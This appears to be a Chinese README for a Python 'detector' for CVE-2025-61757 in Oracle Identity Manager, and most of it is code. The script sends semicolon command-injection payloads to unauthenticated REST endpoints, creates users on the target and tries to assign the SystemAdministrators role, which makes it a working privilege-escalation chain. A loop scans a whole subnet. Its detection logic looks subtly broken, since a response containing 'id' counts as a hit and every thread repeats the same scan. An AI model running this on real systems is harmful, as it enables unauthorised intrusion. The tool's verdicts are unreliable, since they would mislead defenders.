CVE-2025-61757 高级检测工具
一个专门针对 Oracle Identity Manager(Oracle Fusion Middleware)CVE-2025-61757 漏洞的预授权远程代码执行(Pre-auth RCE)检测工具。该工具通过多线程模糊测试,快速识别未打补丁的脆弱实例,帮助安全团队在攻击者利用前发现并修复风险。
📋 功能特性
- 🔍 预授权检测 — 无需任何认证信息,直接对目标进行漏洞探测
- ⚡ 多线程并发扫描 — 同时对多个REST端点进行模糊测试,大幅提升检测效率
- 🧪 智能Payload注入 — 基于公开研究的
;分号注入技术,验证命令执行回显 - 📊 权限提升链检测 — 模拟从创建用户到分配系统管理员角色的完整攻击链条
- 🛡️ 低误报识别 — 通过响应状态码与命令回显特征双重验证漏洞真实性
- 📝 详细日志输出 — 彩色分级日志输出(INFO/WARNING/CRITICAL),直观显示检测结果
🔧 安装指南
系统要求
- Python 3.6+
- 支持的操作系统:Linux / Windows / macOS
依赖安装
本项目仅依赖 requests 库,使用以下命令快速安装:
pip install requests
下载工具
git clone https://github.com/your-repo/cve-2025-61757-detector.git
cd cve-2025-61757-detector
📖 使用说明
基础用法
python cve-2025-61757.py http://target-ip:port
示例:
python cve-2025-61757.py http://192.168.1.100:14000
输出解读
工具运行后将产生以下关键输出:
| 日志级别 | 输出信息 | 含义 |
|---|---|---|
INFO | Testing http://target:port for CVE-2025-61757... | 开始扫描 |
WARNING | VULNERABLE! Endpoint: /identity/rest/v1/users, Payload: test; whoami | 发现漏洞 — 目标存在预授权RCE |
CRITICAL | Full chain possible! Admin role assigned without auth. | 完全利用链可行 — 可未授权提升为管理员 |
INFO | Scan complete... Likely SAFE ✅ | 目标已修补或无法访问 |
典型场景
场景1:应急漏洞排查
# 批量检测内网OIM服务器
for ip in 192.168.1.{100..120}; do
python cve-2025-61757.py http://$ip:14000
done
场景2:验证补丁有效性
# 补丁安装前后分别执行
python cve-2025-61757.py https://oim-prod.company.com
# 补丁前:显示 VULNERABLE
# 补丁后:显示 Auth required (patched?) 或 401
🧩 核心代码
漏洞检测引擎核心类
class CVE202561757Tester:
"""
CVE-2025-61757 漏洞检测器核心类
实现预授权命令注入检测与权限提升链验证
"""
def __init__(self, base_url):
# 初始化目标URL和HTTP会话
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False # 仅用于实验室环境,忽略SSL证书
self.vulnerable = False
# 关键REST端点 - 均无需认证即可访问(漏洞特征)
self.endpoints = [
'/identity/rest/v1/users', # 用户创建/枚举
'/identity/rest/v1/admin', # 管理员操作
'/identity/rest/v1/roles', # 角色操作
]
# 分号注入Payload - 利用URL解析缺陷
self.payloads = [
{'userLogin': 'test; whoami', 'firstName': 'PoC', 'lastName': 'Test'},
{'userLogin': 'test; id', 'firstName': 'CVE', 'lastName': '61757'},
{'userLogin': f'test; date +%s', 'firstName': 'Advanced', 'lastName': 'Probe'},
]
端点检测与命令回显识别
def test_endpoint(self, endpoint, payload):
"""
向目标端点发送Payload并检测命令执行回显
返回值: (是否成功, 响应详情)
"""
url = f"{self.base_url}{endpoint}"
try:
# 发送POST请求,携带JSON格式的命令注入Payload
resp = self.session.post(url, json=payload, timeout=10)
# 漏洞判定逻辑:
# 1. 状态码为200/201(成功创建资源)
# 2. 响应中包含用户ID(userLogin)或命令执行结果(whoami/id等)
if resp.status_code in [200, 201] and (
'uid' in resp.text or
'userLogin' in resp.text or
any(cmd in resp.text.lower() for cmd in ['whoami', 'id', 'date'])
):
return True, resp.text[:200] # 返回部分响应内容供分析
elif resp.status_code == 401:
return False, "Auth required (patched?)" # 需要认证 → 已修补
else:
return False, f"Unexpected: {resp.status_code}"
except Exception as e:
return False, str(e) # 网络错误或连接超时
多线程模糊测试引擎
def fuzz_user_creation(self):
"""
多线程用户创建接口模糊测试
针对不同Payload和端点组合进行并发探测
"""
logger.info("🔍 Fuzzing user creation for auth bypass...")
for payload in self.payloads:
for endpoint in self.endpoints:
success, details = self.test_endpoint(endpoint, payload)
if success:
self.vulnerable = True
logger.warning(
f"🚨 VULNERABLE! Endpoint: {endpoint}, "
f"Payload: {payload['userLogin']}, Response: {details}"
)
# 提示手动清理测试账号
logger.info("💡 Clean up: Delete user 'test' via OIM admin UI")
完整攻击链验证
def chain_escalation(self):
"""
权限提升链验证
如果基础注入成功,进一步测试能否将测试用户提升为系统管理员
"""
if not self.vulnerable:
return
logger.info("🔗 Testing escalation chain (create user -> assign admin role)...")
# 攻击链:创建用户 → 通过/roles端点分配管理员角色
role_payload = {
'roleName': 'SystemAdministrators',
'userLogin': 'test; whoami' # 尝试在角色分配时再次执行命令
}
success, details = self.test_endpoint(
'/identity/rest/v1/roles/assign',
role_payload
)
if success:
logger.critical(
"💥 Full chain possible! Admin role assigned without auth."
)
主扫描流程控制器
def run_scan(self):
"""
主扫描流程控制
1. 启动多线程模糊测试
2. 等待所有线程完成
3. 尝试权限提升链
4. 输出最终报告
"""
logger.info(f"🛡️ Testing {self.base_url} for CVE-2025-61757...")
start = time.time()
# 为每个端点启动独立线程,实现并发测试
threads = []
for i in range(len(self.endpoints)):
t = threading.Thread(target=self.fuzz_user_creation)
threads.append(t)
t.start()
# 等待所有线程完成
for t in threads:
t.join()
# 如果基础注入成功,尝试权限提升
self.chain_escalation()
elapsed = time.time() - start
status = "VULNERABLE - PATCH IMMEDIATELY! 🔥" if self.vulnerable else "Likely SAFE (or firewalled) ✅"
logger.info(f"Scan complete in {elapsed:.2f}s: {status}")
if self.vulnerable:
logger.error("📋 Next: Apply Oct 2025 CPU, restrict /identity/rest/* to trusted IPs.")
命令行入口
if __name__ == "__main__":
# 简单的命令行参数处理
if len(sys.argv) != 2:
print("Usage: python cve-2025-61757_advanced_test.py http://your-oim-host:14000")
sys.exit(1)
# 初始化检测器并执行扫描
tester = CVE202561757Tester(sys.argv[1])
tester.run_scan()
⚠️ 重要提示
本工具仅用于授权的安全测试。在未经授权的系统上使用此工具进行探测属于违法行为。请在您拥有所有权或已获得明确书面授权的系统上使用。
受影响的Oracle Identity Manager版本:12.2.1.4.0 和 14.1.2.1.0。Oracle已在**2025年10月关键补丁更新(CPU)**中修复此漏洞,请立即更新。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ4H6M6scNPsL/RnkF0e+cHt